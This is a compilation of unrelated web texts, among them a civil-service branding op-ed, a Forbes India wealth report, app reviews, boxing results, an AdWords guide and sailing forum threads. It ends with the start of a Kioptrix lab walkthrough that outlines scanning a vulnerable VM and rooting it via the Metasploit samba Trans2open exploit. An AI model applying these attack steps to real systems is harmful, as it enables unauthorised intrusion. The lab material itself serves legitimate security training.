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Brands are curious things. Most people understand them in the context of corporate business and charities; they have characteristics such as a core purpose, a set of values and a brand personality that offers consistency, engenders trust and acts as a form of guarantee.
In the public sector, however, the brand is not so straightforward. Government departments often have a broad core purpose and a visible set of values, but may lack a brand personality. For the public, it is increasingly difficult to know who is actually in charge and who is upholding the brand. When there are mistakes, the brand is damaged and trust is further eroded.
There are many examples in the government of brands that have become damaged and, to some extent, this is part of the political landscape. In a worst-case scenario, ministers resign, civil servants are moved and the public remains disengaged. In a slightly better case, the public uses its voice to force change by lobbying, twittering, writing letters and joining interest groups.
Whatever happens in government, most civil servants work tirelessly to make amends and to be impartial in their advice, often without much public acknowledgement. These people are brand ambassadors for their departments, and that is why we should welcome the various award ceremonies that the civil service now undertakes to recognise excellence.
I worked at the Millennium Dome from 1997-2001 and had first-hand experience of what happens when a brand is not clearly defined and not trusted. When the 2,000 staff were constantly being told by commentators that their contribution was not valued, a mood of defensiveness took over. Staff became demoralised, divisive and behaved as if under siege.
As a former civil service commissioner, I have worked across central government and its agencies to chair the appointment boards for senior civil servants. The culture of departments was varied, and these differences were illustrated by such things as the architecture of buildings; how visitors are received; the images displayed; the style and language used to describe a department's work; the business of each department; the style of civil servants; the relationships within the department and across government; and relationships with ministers.
Recently, The Experience Corps undertook a piece of research on the perception of government department brands. We asked people to look at the words departments use to describe themselves, and to comment on what they thought about each department.
Participants said departments that used words such as "tasked with", "lead department for" and "responsible for" were focused. Departments in this category included health, children, schools and families, the Home Office, and environment, food and rural affairs.
Departments that used phrases such as "aiming to", "works to", "promoting" and "fostering" were perceived as customer-friendly. They included the Treasury and the departments for work and pensions, international development, and communities and local government. And when we overlaid the two factors of focus and being customer friendly with brand personality, the two departments that received the highest positive recognition were children, schools and families, and international development. This was because their websites demonstrate they understand their subject matter.
Another view comes from executive search agencies, which report an increase in the number of people seeking work in the civil service. Six months ago, a senior post might have attracted 30 applicants; now, the response rate has trebled. But when discussion takes place with potential candidates to encourage them to apply, some department brands are easier to sell than others. Transport, communities and local government, or innovation , universities and skills are easier than, say, defence.
In the recent past, taking a job in the senior civil service was seen as high risk because of the possibility of public condemnation or personal damage if things went wrong and the lasting association with a failing brand.
The mood, according to headhunters, is changing. Job candidates are having to reinvent themselves and appear more willing to get involved in changing the perception of departmental brands. This work is set to become more competitive as those who once spurned the public sector now see it as a desirable place to be.
To strengthen their brands, government departments must champion their values and articulate brand personality. Government departments have thousands of good stories to tell, and these need to be expressed with personality.
Maggie Semple is chief executive of The Experience Corps, a company that works with the private and public sectors on stakeholder engagement, customer research and training.


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India's richest getting poorer, says Forbes
By Henry Foy
MUMBAI (Reuters) - India's richest are getting poorer, according to Forbes, as falling stock prices, corruption scandals in Asia's third-largest economy and a global slowdown wiped 20 percent off the total value of the country's 100 wealthiest in the last year.
Mukesh Ambani, head of Reliance Industries, India's most valuable company, retained the top spot with a value of $22.6 billion, despite seeing his net worth drop by $4.4 billion.
In the same period, Ambani completed construction of a 27-storey house in Mumbai, costing an estimated $1 billion.
The biggest loser in the list was Ambani's younger brother, Anil, whose net worth stood at $5.9 billion, down from $13.3 billion. His Reliance Group companies have been some of the worst performers on the Mumbai bourse this year.
A major drag for Ambani has been telecom firm Reliance Communications, which has $7.5 billion in debt and has so far failed in efforts to ease debt and raise money.
The combined wealth of India's richest 100 people fell to $241 billion in 2011, according to the Forbes India Rich List, which includes 57 dollar billionaires, a dozen less than a year earlier.
"This has been a turbulent year for India's richest," Naazneen Karmali, India Editor of Forbes Asia, said in a statement.
"Despite the economy growing at close to 8 percent, a spate of corruption scandals and rising inflation have taken a toll." Continued...


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Felix Elwert
Observational studies, however well done, remain exposed to the problem of unobserved confounding. In response, methods of formal sensitivity analysis are growing in popularity these days (see Jens's post on a related issue here.)
Rosenbaum and Rubin's basic idea is to hypothesize the existence of an unobserved covariate, U, and then to recompute point-estimates and p-values for a range of associations between this unobserved covariate and, in turn, the treatment T and the outcome Y. If moderate associations (= moderate confounding) change the inference about the effect of the treatment on the outcome we question the robustness of our conclusions.
But how to assess whether the critical association between U, T, and Y that would invalidate the standard results is large in substantive terms?
One popular strategy compares this critical association to the strength of the association between T, Y, and an important known (and observed) confounder. For example, one might say that the amount of unobserved confounding it would take to invalidate the conclusions of a study on the effect of sibship size on educational achievement would have to be at least as large as the amount of confounding generated by omitting parental education from the model.
This is indeed the strategy used in a few studies. But what if U should be taken to stand not for a single but for a whole collection of unobserved confounders? Clearly, it then is no longer credible to compare the critical association of U with the amount of confounding created by a single known covariate. Better to compare it to a larger set of observed confounders. But with larger sets of included variables, we have the problem of interactions between them, and of surpressing and amplifying relationships. In short, gauging the critical association of U with T and Y in substantive terms will become a whole lot less intuitive.
(FYI, Robins and his colleagues in epi have proposed an alternative method of sensitivity analysis, which hasn't found followers in the social sciences yet, to my knowledge. I'm currently working on implementing their method in one of my projects.)
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Phase 10 - Play Your Friends!
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Published: 2012-05-15, by Ana Gracia.
Phase 10 is an entertaining card game where the objective is to finish all the phases before the other players do so. If you want to know how to play, keep reading: When it's your turn, draw a card from the deck or the discard pile and play your phase. If you can't, discard a card to the discard pile. When having played your turn, empty the rest of the hand by adding the rest of your cards on any existing sets on the table.
Once no one has more cards, the round finishes and the cars are dealt again. The first player to complete all the phases when the hand is over wins the game. The phases are divided into runs, sets or cards of one color and if you have the free version, you will play them randomly.
To play, just drag the cards you want to play with your finger, it's not hard to control it and it's really easy to get addicted, be sure to take that into account before trying the game, because you will find it hard to put it down. Everything works smoothly and the only disadvantage is not being able to play the 10 same phases against the opponents. What about online playing? If would make the game much better and enjoyable. Also, we would appreciate if the cards were bigger, but they're going to fix that in the next update.
Magmic Inc is the developer of Phase 10, a really popular card game now for Android and its complete full version. Be sure to check it out and wait for the next update in order to get some improvements!
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May 15, 2012
by Mike Heuer
May 24, 2017 | "Good"
by Heather Wells
May 24, 2017 | "Poor"
Way too many ads. Can't even get through a whole round without 5 ads.
by Shelly Miner
May 24, 2017 | "Poor"
The ads are a joke. Makes the game unplayable.
by Jamie Huff
May 23, 2017 | "Awesome"
Confusing but COOL
by Chris Jones
May 23, 2017 | "Awesome"
by Ethan Langdon
May 23, 2017 | "Poor"
Literally can't play 1 hand throughout without an ad. Ads in between each hand ads in the middle of a hand. And when it loads back from the ads it crashes 4/5 times. Also doesn't save progress. Legit would rather pour salt in my eyes then have this game on my phone. Great card game great idea but terrible execution. Who thought 30 second ads with not volume control for a phone game was a good idea? Fire them.
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Car & Auto Shipping Testimonials
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[SMALL COLLEGES] Ohio Wesleyan, No. 1 in last week's NSCAA/Continental Tire rankings, is one of three teams with first-round byes in the NCAA Division III Men's Tournament. Rutgers-Camden and Loras also have byes in the 61-team tournament that begins Thursday. For the complete draw and bracket.
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Mt. St. Mary vs. York (Pa.)
Carnegie Mellon vs. Virginia Wesleyan
Montclair State vs. Misericordia
Rochester (N.Y.) vs. SUNYIT
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I'm really drawn towards the work of Betsy lives in Portland, OR and has a most impressive portfolio online that you may really enjoy browsing. Here's a snapshot. Look at these colors, don't they make you happy?
Here's one that I ordered last night titled Hopeful. I couldn't resist. I feel like this is my little house in the countryside where I live, and the red swirls represent the apple trees all around my home since I live on an orchard. And the word hopeful, well it means many things to me right now. All very personal, of course. Let's just say that having hope is the only way to endure things that appear to offer no alternate roads to take, no escape route. Hope gets us through. And that's what I have a lot of this week since some sad news came my way.
When this print arrives, I'll look at it for years to come recalling this period in my life. This is what I think we should do when we purchase art. Look at a piece and try to figure out why it appeals to us, pinpoint something exact, so that when you bring it home and frame it, you'll forever me reminded of that moment and you can better bond with the item. Make sense? Then it's no longer Betsy's art, it's also a very special and personal piece of you.
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This pattern is one of the Alison Glass Sew Skill Builder Series patterns. This means it's not just your typical pattern with basic instructions. This pattern will actually teach you about color play. Learn how a change in colors can effect the design of the quilt.
This quilt can be made in a baby, throw, or queen size. The layout stays the same, but just scales in size.


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How Finance Is Getting Social (Video)
Insights and ideas from The Razorfish Client Summit 2010 featuring Jaidev Shergill, CEO of Bundle.com.
PSFK teamed up with Razorfish to capture insights from the wide variety of presenter's at the company's recent 2010 Client Summit.
Attendees explored ideas about corporate innovation and business transformation, with featured speakers from both large global brands such as Best Buy, Mercedes-Benz and Nike, as well as up-and-coming stars like Skillet Street Food in Seattle. Presenters discussed how effective storytelling, risk-taking and experimentation are crucial to evolving a company culture and brand.
In this video, Jaidev Shergill, CEO of Bundle.com, explains how finance is getting more social, and why sharing data can help people make better decisions about money.
Watch all seven video interviews here.
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CÉLINE Gold Necklace
I love the minimal gold on this gorgeous Celine all in one! Online and in stores beginning of February 2011
The Hamsa is a symbol representing blessings, power and strength. This necklace is not only beautiful; it's a good luck charm! $550.00Tags: jewelry, necklaces, hamsa, fashion tastemaker, stephanie johnsonAdded 6 Years Ago from Bloomingdales
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Solve this riddle for me. How is it possible to do a 20-hour day incorporating running up stairs, changing nappies, breast-feeding, doing laundry, not managing to finish a meal and still not lose a pound? The first stone and a half miraculously dropped away within a fortnight of giving birth. After a further five weeks, however, the remaining extra stone will not budge.
Two weeks ago I had my measurements taken by personal trainer, Melinda Nicci, and subsequently needed a stiff drink. I could practically taste the gin in the tonic but alas I am breast-feeding. Since then I have been following the regime of a daily hour's walk, doing mini sit-ups and holding in my stomach muscles at all times without a gnat's flicker of movement on the scales.
I have also been watching what I eat, (watching myself tuck into a muffin, another slice of toast, another chunk of Green & Blacks). Maybe this solves the riddle, but it's hard to reach for a slice of chicken breast when a chocolate finger will do the energy boosting more pleasurably. A false economy I know - it's the slow-release food I should be going for - but on four hours sleep, who cares? So I went to Mel's this week expecting the worst. Turns out I've lost 3cm from the waist, two from the hips, one from the bottom and two from the arms!
The scale may be foe but the tape measure appears to be friend. Then she did the diastis recti test on me. This involves coming into a half sit-up and putting your finger just above your belly button to feel how much the main stomach muscle has split during pregnancy. If you can fit two fingers or more in the space then new mothers are advised against doing any abdominal work for the time being. Amazingly Mel only managed one and a bit fingers in my stomach wall. See, I'm a winner already.
We did half an hour of step aerobics with arm-toning weights and the last half on abs and glutes, squeezing this large phallic pink pod between my thighs (rather pleasurable and I gather this tones all areas, if you get my drift). I left the session with a lovely endorphin rush.
However this week's real achievement came from the 35-minute workout I had in an underground car park. I sweated, I grunted, I pumped iron and used every muscle group. Was this some subterranean postmodern multi-gym? Nope. I was struggling to collapse the Bugaboo.


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Latest digital marketing news
Want to expand your knowledge on AdWords? In this comprehensive guide, we take a look at the many changes and updates made to Google AdWords over the past year.
Google AdWords allows advertisers to create ads that appear to potential customers across web pages on Google and other search partner sites. Being one of the biggest online advertising platforms, it's vital that Google AdWords constantly updates its service.
By fully understanding these updates and the way in which AdWords works, your business will be able to improve the performance of your account and ensure that all of your campaigns are running as well as they can be.
In our guide, we cover the six main sets of changes made to AdWords since December 2014. These are:
Since December 2014, Google AdWords has made 20 different updates and improvements to its features, from upgrading URLs to new campaign setups.
Interest-based capabilities
Google AdWords added new interest-based capabilities for audience targeting, including:
These new interest-based capabilities are very useful for targeting a particular audience. Targeting ads at the right audience means you won't be wasting ad spend showing ads to people who are unlikely to be ever interested in what you're trying to sell.
Lightbox ads and AdWords Editor
AdWords also made Lightbox ads available across a range of screens, making it easier to advertise on mobile. AdWords Editor was also updated to include a faster interface, which helps you easily make changes to your account.
During this time period, Google:
Four businesses for location searches and micro moments
Between May and June 2015, AdWords started showing up to four individual businesses for location-related searches. Additionally, new insights were also introduced to help catch micro-moments (mobile moments that require only a very short amount of time to identify and deliver quick information).
Better click quality on display ads
As well as this, better click quality on display ads launched, enabling a better experience for both users and advertisers. This means Google now automatically blocks ad clicks that frequently lead to accidental clicks. This way, users don't get frustrated when they click an ad they didn't want to click, and advertisers don't receive an 'artificial' click-through rate and aren't paying for clicks that will never convert.
TrueView joins AdWords interface
From September to November, TrueView joined Search, Display, and Shopping campaigns within the AdWords interface, making it a whole lot easier to make changes across campaign types.
CPM campaigns viewable on Google Display Network
As well as this, AdWords made changes to ensure that all cost-per-thousand impressions (CPM) campaigns are viewable on the Google Display Network. This means advertisers' display ads now gain a lot more visibility.
Reinforced botnet protection
Google AdWords reinforced its botnet protection across ad systems. The updated botnet protection automates the filtering of traffic between three of the top ad fraud botnets in order to improve defence against invalid traffic generated by ad fraud malware.
AdWords continued to enhance its interface by adding many new features to fulfil users' ever-expanding needs and requirements.
Between February and June 2015, Google AdWords introduced:
360 degree videos
Across July and October 2015, AdWords created new 360 degree videos. This exciting video format puts a spin on how videos can be viewed, with viewers given more control about what they actually look at in the video. Viewers can now discover every angle of a video by simply dragging the mouse or moving their finger on the ad. More forward thinking advertisers have started using the format to promote products, so it's only a matter of time before a 360 ad format is made available.
You can see an example of a 360 degree video ad for Nike Hypervenom football boots below.
Structured snippet extensions
At the same time, AdWords launched the structured snippet extension. Structured snippets are very convenient for easily displaying specific features about your products and/or services and are displayed just below the ad copy.
Here at Fresh Egg, we use structured snippets regularly – similar to the example ad shown below, which displays the different styles of bags available.
For more information about ad extensions, read our blog post – 'Basics of Biddable: Exploring the Ad Extensions Tab' blog post.
New Google Display Network Tools
Furthermore, AdWords introduced several new tools to the Google Display Network, including audience insights. This gives advertisers information about people on their remarketing lists, including demographics, interests, locations, and device usage. Along with this, AdWords made enhancements to dynamic remarketing so that ads can be automatically re-shaped and re-sized to fit all devices.
Google AdWords introduced:
AdWords is constantly making improvements to Google Shopping as it becomes increasingly popular.
Google Shopping result for 'brown boots'
During this time period:
In October, Google introduced Shopping Assortment Reports, giving retailers insight into demand for popular products they do not stock.
New shopping tools and insights were also produced, including:
Towards the end of November, the entire Google Shopping interface was redesigned. Now, shoppers can:
Reporting tools are a crucial part of advertising online. It is vital to stay on top of how ads are performing – both those that are performing well, and those that are not. To get a better understanding of the new Google AdWords reporting tool, read this blog post.
Google AdWords reporting tool
Easier reporting for multiple campaign types
AdWords introduced easier reporting for multiple campaign types, enabling advertisers to have a clearer view of how successful their campaigns are. AdWords also enhanced its reporting tools, including:
Improved reports for manager accounts
Across June and August, AdWords improved its reports for manager accounts, allowing advertisers to create better and more insightful reports, as well as navigate faster between multiple accounts. Besides this, AdWords also helped advertisers view and analyse data instantly with its new report editor.
New reporting columns for multi-channel advertisers
New reporting columns for multi-channel advertisers were presented for the first time within the AdWords interface. This permits advertisers to manage reporting for specific campaign types without any complication. These reporting columns include:
As smartphones are now part of everyday life, staying on top of app updates is a necessity. As a result of this, Google has brought out a number of new features and updates to its AdWords app.
AdWords app launched on Android
Between March and July, AdWordslaunched its app on Android, as well as expanding where you can promote Android apps across the entire Google Display Network.
New media partnerships and promo tools
New ad solutions and media partnerships for mobile app promotions were also introduced, helping app developers drive installs and engagement. And lastly, new app promo tools were brought to AdWords, making it easier for people to discover apps. These tools include:
Over the past year, Google AdWords has produced six different best practice guides to help users get the most out of their AdWords account.
AdWords introduced the 'Better Together: AdWords and Google Analytics' best practice guide, which helps advertisers discover:
The image below shows an example of a Google Analytics table displayed within Google AdWords.
AdWords produced a best practice guide called 'Remarketing Right on Cue', which helps advertisers achieve crucial moments when shoppers are most likely to purchase.
Also in March, the 'Good Call: A Guide to Driving Calls with AdWords' best practice guide was launched, which helps advertisers decide:
AdWords launched a new best practice checklist: 'Put Your Best Image Ad Forward '. This helps advertisers:
Across July and August, AdWords created a best practice email newsletter. This is a monthly email containing useful insights, such as quick videos and recommendations for advertisers using AdWords.
As well as this, Google introduced a best practice checklist that contains useful recommendations and tips to help users optimise Dynamic Search Ads.
As a result of AdWords updating and launching a lot of new tools and features, these best practice guides help advertisers stay on top of what is changing within the AdWords interface.
Overall, AdWords is constantly changing its interface to help advertisers get the most out of their paid advertising. It's so important to stay on top of these changes, as more and more updates aremade to Google AdWords. Paid advertising is becoming more sophisticated, so by keeping yourself up to date with these changes you're ensuring that all your campaigns are running as efficiently as possible.
We've given you a pretty comprehensive list of the changes that have happened, but it's a lot to cover in one guide. To find out more information about the changes to AdWords click here to explore the Inside AdWords blog. If you're looking for more information about a particular topic we've mentioned, you can search the blog easily.
Here at Fresh Egg, we have an experienced biddable team that has a vast knowledge of the AdWords interface, as well as being certified by Google AdWords.
We've helped clients with their paid advertising for years. If you are interested in advertising online and want to get the most of AdWords, contact our team to find out more.


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Get an overview of this hotelHotel in Kitty Hawk with free breakfast and outdoor pool
Popular property highlights
Situated by the ocean, this hotel is within a 10-minute walk of Children at Play Museum and Holy Redeemer Catholic Church. Paradise Fun Park and Hemingway Gallery are also within 2 mi (3 km).
Hotel Features
This hotel features an outdoor pool, a 24-hour business center, and coffee/tea in a common area. Free buffet breakfast, free WiFi in public areas, and free self parking are also provided. Other amenities include a seasonal outdoor pool, dry cleaning, and a 24-hour front desk.
Room Amenities
All 98 rooms provide conveniences like refrigerators and microwaves, plus free WiFi and cable TV. Other amenities available to guests include coffee makers, free local calls, and hair dryers.
Guest Highlights
- Good location
- Beach
- Breakfast
- Helpful staff
- Clean guestrooms
- Bathrooms could've been nicer
Baymont Inn and Suites Kitty Hawk Outer Banks
Hotel Amenities
Hotel Amenities
Public areas are equipped with complimentary wireless Internet access. A 24-hour business center is on site. Guests can enjoy a complimentary breakfast each morning. This Kitty Hawk hotel also offers an outdoor pool, an arcade/game room, and gift shops/newsstands. Onsite self parking is complimentary.
- 24-hour front desk
- Free newspapers in lobby
- Arcade/game room
- Total number of rooms - 98
- Number of floors - 2
- Safe-deposit box at front desk
- Coffee/tea in common areas
- Free breakfast
- Dry cleaning/laundry service
- Express check-in
- Express check-out
- Gift shops or newsstand
- Free WiFi
- Free self parking
- Year Built 1987
- 24-hour business center
- Free RV, bus, truck parking
- Beach towels
- Outdoor pool
- Outdoor seasonal pool
- Television in common areas
- Free use of nearby fitness center
Family Friendly Amenities
- Family Hotel
- Outdoor pool
- Free Wi-Fi
- Arcade/game room
- Refrigerator
- Microwave
Available in all rooms: Free WiFi
Available in some public areas: Free WiFi
Free self parking, Free RV, bus, truck parking
Room Amenities
- Premium TV channels
- Air conditioning
- Free local calls
- Refrigerator
- Coffee/tea maker
- Microwave
- Daily housekeeping
- Hair dryer
- Iron/ironing board
- Cable TV service
- Desk
- Free WiFi
- Connecting/adjoining rooms available
- Rollaway/extra beds (surcharge)
Where to Eat
A complimentary buffet breakfast is served each morning between 6:30 AM and 9:30 AM.
Nearby Things to Do
Recreational amenities at the hotel include an outdoor pool.
The recreational activities listed below are available either on site or nearby; fees may apply.
- Golfing nearby
- Snorkeling nearby
- Surfing/boogie boarding nearby
- Kayaking nearby
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The Indiana Optimist Club recently selected Sean Thompson as the Boy of the Month for November, the 671st chosen in the program's history.
Sean, 18, is the son of Bill and Dana Thompson, of 314 Ann Circle, Indiana, and the brother of Kelsey.
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The National Museum of Film, Photography and Television in Bradford, the National Railway Museum in York and London's Science Museum are affected.
Curators, conservators and managers are angry that a new pay-grading system has been delayed.
Their union, Prospect, says many of its members have missed out on three months of higher pay.
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Alan Leighton, Prospect's national secretary, said the action meant staff would not be working the unpaid overtime which, he claimed, the museums relied upon.
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Former two division world champion Miguel Cotto (35-2, 28 KOs) has taken over another division, dethroning previously unbeaten WBA super welterweight champion Yuri Foreman (28-1, 8 KOs) in nine rounds on Saturday night in the first fight card at New York City's famed Yankee Stadium site in 34 years. Now trained by Emanuel Steward, Cotto looked extremely sharp outboxing Foreman over the first six rounds and in the seventh stanza Foreman's right knee buckled compromising his mobility. Someone at ringside threw in a towel in the eighth round and people entered the ring, but referee Arthur Mercante Jr. threw everyone out and resumed the fight. Cotto continued to batter Foreman dropping him with a left to the body in round nine and the bout was then waved off. Time was :42.
In an intriguing battle of undefeated jr. middleweights, WBO #3/WBC #6/WBA #8/IBF #8 Vanes Martirosyan (28-0, 17 KOs) won a ten round unanimous decision over WBA #9/WBC #12 "Mean" Joe Greene (22-1, 14 KOs). Martirosyan scored a knockdown in the final moments to punctuate a 96-93, 96-93, 98-91 win. Vanes retains his NABF and NABO belts.
WBA #10/WBC #14 super welterweight Pawel Wolak (27-1, 17 KOs) pounded out a ten round unanimous decision over James Moore (17-3, 10 KOs). Scores were 97-93, 96-94, 97-93.
Local featherweight prospect Jorge "King" Diaz improved to 14-0 (9 KOs), pummeling Jae Sung Lee (10-3-1, 7 KOs) of South Korea until referee Sparkle Lee stopped the bout at 1:54 of the 6th and final round.
It was a family affair as Miguel Cotto's cousin, Abner "Pin" Cotto (8-0, 4 KOs), won a workmanlike 6 round unanimous decision over tough Texan Edgar Portillo (6-5-1, 4 KOs) in a lightweight contest. Judges Luis River and Larry Hazzard Jr. scored the bout 59-55 each, while judge Ruggiero saw it 58-56 for the fighter from Caguas, Puerto Rico.
In a battle of New Yorkers, Christian Martinez knocked Jonathan Cuba down once in round 3 and twice in round 4, prompting referee Sparkle Lee to call a halt to the bout at 1:18 of the fourth and final round. With the win, Martinez improves to 4-0 (4 KOs) while Jonathan Cuba falls to 2-2 (2 KOs).


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Aug. 6, 2009
This is the first of a three-part series highlighting the 2009-10 Tennessee basketball newcomers. In this edition of "Hello My Name Is," UTsports.com chats it up with true-freshman forward Kenny Hall.
Q: You've had a busy couple of months, graduating high school in May and starting your college career here at UT on June 1. What have been your first impressions of university life, and do you know what you plan on majoring in?
A: "Independence. That's been my first impression. It's a new chapter being out on my own, starting my basketball career and my collegiate career. It's different. I'm going to major in Communications."
Q: What's something Tennessee fans don't know about you that they might find interesting?
A: "A lot of people think I'm from Georgia, but I'm originally from Los Angeles. I lived there until I was 14-years-old, and I go back every summer."
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Q: Do you remember your first dunk?
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Q: In your opinion, what is your biggest strength on the basketball court? And what area of your game do you most want to improve upon?
A: "My biggest strength is finishing around the basket. I want to improve my ball-handling and my shot."
Q: What's the one electronic device you couldn't live without?
A: "My cell phone. I need to communicate and keep in touch with people. I keep numbers, addresses--lots of important stuff is in my phone."
Q: Did you play any sports other than basketball while you were growing up?
A: "I've been a football player. That was actually my primary sport for a long time. I played running back--that's when I was short and stocky. When I got tall I played receiver, tight end, defensive end and linebacker. I used to run track when I was little, and I even played baseball for two years."
Q: Who is your favorite pro athlete in a sport other than basketball and why?
A: "Randy Moss. I used to idolize the way he played back when I played football. He was the best receiver in the game back then."
Q: What three words would you use to describe head coach Bruce Pearl?
A: "Crazy. Motivating. Inspirational."
Q: When you think about your college debut at Thompson-Boling Arena in November, what do you envision as your first big play?
A: "Fast break. Somebody throws up a lob... I catch it and jam it hard. I'm talking about a situation when the crowd is going to go crazy.
"Let me visualize it. [Hall closes his eyes] We're down four points but Scotty hits a three to put us down one. They get the ball, they push it and E-Man blocks a shot of the backboard. The crowd gets up off their feet. Wayne gets the rebound, kicks it out to Cam. He pushes it up and I spread out on the other wing. Cam throws it up, I catch it up high and bang it. And everybody goes nuts!
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Ride quality on Focus
I am interested in the South African Ford Focus 2.0 GDi Hatch. This model will have the sports suspension and 17" wheels on 215/50 tyres.
Now I know with the great suspension of the new Focus and sports suspension the ride will be great but has anybody ever driven their Focus with 17" wheels on sports suspension on farm and gravel roads? I would often have to travel to remote places and to get to some of those places I would need to do the occasional gravel roads.
Also how is the rattle of the interior parts when driving on gravel roads?
Is that the 2012 model year +?
I drove down an unpaved road with ruts and gravel that was in progress of repairs last week with my Titanium with 18" wheels 235/40/18 + handling package
Well.. it's quite rough but stable. It's a firm jostle but you don't get thrown around like in some cars I have ridden in.
I blast down junk, back country roads all the time in mine, with 18s. Its feels like a Cadillac, its just that soft.
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Originally Posted by paul77 View Post
If you go the charter route, would highly recommend Windworks sailing, have been a member there for going on 7 years. They have a nice variety of boats, and also social activities.
Also, legal liveaboard moorage can be hard to come by here due to DNR restrictions. The waiting list for regular moorage can be long enough (most places longer than your estimated tenure aboard), though spots do open up in the winter.
Everette is about the only easy live aboard solution around here (I won't comment on that marina's other, um, aspects), but if you look around you can often find live aboard moorage on lake union for a premium, but hey, what a darn great location....
btw, if you are military or ex-military you can get cheaper moorage at the navel base in Everette, don't know about if they allow live aboards.
Hey!! the weather in Seattle is an absolutely beautiful fall day today... Wish I could be out on the water!
I generally concur with blt2ski's assessment. We considered Pilothouse to deal with the inclement conditions, but I could never figure out the use of the inside steering station if you actually want to sail the boat... With all the changing variables, traffic, wind, tides, land, you generally aren't going to stay on the same course for very long. I guess with fancy enough winches you could do that from the inside too..
We did chose a CC for the cockpit enclosure though so I am biased.. This was after seeing other snugly warm CCs sailing around while were less than snug on an AC.. even in the spring.
A pilothouse with a raised salon DOES seem pretty fantastic for having a nice view with your morning coffee though, especially on a beautiful fall day such as today..
If you are out here to visit at some point, I _think_ the Gemini at the end of I dock at Shilshole Bay Marina is a liveaboard. You could leave him/her a note and get an opinion on living one.
I have seen a pretty extensive cockpit enclosure on another Gemini as well, C dock at Elliott Bay Marina, giving you a nice porch and effectively inside steering.
If you go the charter route, would highly recommend Windworks sailing, have been a member there for going on 7 years. They have a nice variety of boats, and also social activities.
Also, legal liveaboard moorage can be hard to come by here due to DNR restrictions. The waiting list for regular moorage can be long enough (most places longer than your estimated tenure aboard), though spots do open up in the winter.
Originally Posted by blt2ski View Post
At 36" a yr in Seattle, that is 10" less than the east coast gets from May 1 to Oct 1!
A few years ago we had a lot of rain during late winter to mid spring. By Memorial Day we more rain than Seattle, but it was an anomoly. Typical years are not like that, and we've been too dry for a few years now.
Originally Posted by HoffaLives View Post
My wife and I looked at boats for 4 years before we settled on ours - a CS 36T. We considered pilot houses for awhile, but I just didn't like how space was broken up inside them. The boat we bought has the next best thing, a full canvas enclosure.
Well I was going to say don't believe the "how little rain" Seattle really gets, instead I'll let you decide. Basically there is very little difference between Vancouver and Seattle weather, we do get 7 more inches of rain a year.
Below are two web cams, one for Vancouver the other for Seattle, just check in on the Seattle one starting in about a week. Right now we have just moved out of monsoon rains into a good sunny period, influenced by the high generated over California which is pushing our usually nasty weather north. If it is sunny in Seattle, probably on average be sunny in Vancouver, we both get hit by the same weather systems.
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Vancouver Web Cam (Actually Simon Fraser University Web Cam but you can see Vancouver weather if you scroll down)
Most boaters here and in Seattle boat from May until the end of September, then the boats are basically prepared for our rainy season. If you plan to follow this pattern, then a traditional sailboat will fill your bill quite easily. If you are a cheap guy like me, wanting to get my money's worth out of the boat, you will want to extend your season of boating; this is where you will want greater protection from the elements.
Yes you can get canvas to surround your cockpit creating an extra "cool" room, however my experience is the canvas begins to fade, then get old, then need replacing. In Vancouver, to install this extra room including dodger, bimini and side canvas can cost up to $5,000 - and then years latter will need replacing. Getting an inside steering station, in whatever form the boat takes will be a much better investment. Most of my buddies who own a sailboat wish they had an inside steering station to extend there sailing season.
I've spent many many hours in the rain in the off season, sitting at the tiller while those below were having a great time - no fun.
What ever boat that will work where you are now, will work here in the NW. it does mist a lot, but not rain. At 36" a yr in Seattle, that is 10" less than the east coast gets from May 1 to Oct 1! So in reality, it rains more on the right side of the US< than here on the left side in a given yr. BUT< when it comes down there, it rains cats and dogs and kids and................
If you truly prefere to sail, make sure it will do well in light winds, less than 10 knots is not unusual. Todays supposid 30-40 knot winds in the interior are few and far between. Seeing puget sound as a mill pond is more common than 30-40 knot winds. A bimini might be nice for some occasions. A pilot house............wimp!...........then again, I was born on pill hill. If you have to ask, you're not a native! Trawlers are popular around here too. Not too sure you really want a full keel ocean cruiser for around here, you WILL be motoring a lot! A light to medium displacement boat, SA/Disp ratio of at least 18-1 or a bit more ie 20 o 22-1 for the light air days are good! Fin keels work well, as you will be either going upwind, or down wind. No i between. Lots of HP is good, there are a few channels with currents into the teen speed in knots! You will need to learn about currents, tides etc, or you will go backwards in some places!
When you get here, enjoy the area!
In the end, get what serves you best, as you're footing the bill, not me!
My wife and I looked at boats for 4 years before we settled on ours - a CS 36T. We considered pilot houses for awhile, but I just didn't like how space was broken up inside them. The boat we bought has the next best thing, a full canvas enclosure. This gives you a bright porch, and extra room, a place to hang wet coats when you arrive home, and a great view to watch the world go buy, regardless of the weather.
It also keeps you reasonably snug when sailing/ motoring in all weather.
For the $$ you spend, CS yachts are one of the best-kept secrets around. Reasonably fast, points well, bluewater capable if you ever decide to go offshore, very high quality construction, lovely bright interior, and holds value very well. There are many more details I could go into, but after looking at tons of boats, this one seemed to offer the most for what we were willing to pay.
BTW, I recently had to replace the stern tube after a prop wrap, and discovered that the hull laminate is 2 inches thick in this area. The composite guy working on it told us how extremely heavy and well-built these boats are, especially compared to the typical production cruiser.
For the same money, I would go for the better built and seaworthy vessel, even if it isn't laid out as an apartment inside. It is a boat after all.
If it was me I would be getting this instead of the catalina...
But I like to make sure I'm sailing, not motoring. There are some nice used pilot houses around too, I'm just not into them.
Rain is just water, it doesn't hurt you.... (spoken like a true day sailor!!! ;D )
Originally Posted by rsn48 View Post
If you come to the Pacific North West and BC Coastal area, take my advise; only get a motor sailor or a sailboat with an inside steering station such as the Sceptre 41:
We get a lot of rain and owning a boat like the Sceptre 41 will extend your sailing season. Believe everything you have heard about Vancouver and Seattle rain. If your boat doesn't have an inside steering station, don't buy it.
|Thanks for the advice everyone - looks like there are a variety of opinions. All with pretty good reasons for them. Doesn't make it to much easier. Guess this just means I will have to keep looking on yachtworld and find out which of you is the most right when I get out there he he he
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Brief Overview
Kioptrix is another "Vulnerable-By-Design OS" (like De-ICE, Metasploitable and pWnOS), with the aim to go from "boot" to "root" by any means possible. This is the second video on it, first one here. Unlike last time, the entry method was via a samba weakness method which is a quick attack and straight to root.
* Scan network for hosts (nmap)
* Scan target for running services (nmap)
* Detect network shares (smbclient)
* Exploit samba weakness, Trans2open (Metasploit)
* Game Over
What do I need?
* Kioptrix - Level 1 VM. Download here (Mirror: Part 1 MD5:4F08E9FD3C4C1A4D85D0E9E79FC3A44D, Part 2 MD5:D8DB6CE65652880327B92150B08106EA)
* VMware player OR workstation. Download here
* nmap – (Can be found on BackTrack 4-R2). Download here
* smbclient – (Can be found on BackTrack 4-R2). Download here
* metasploit – (Can be found on BackTrack 4-R2). Download here
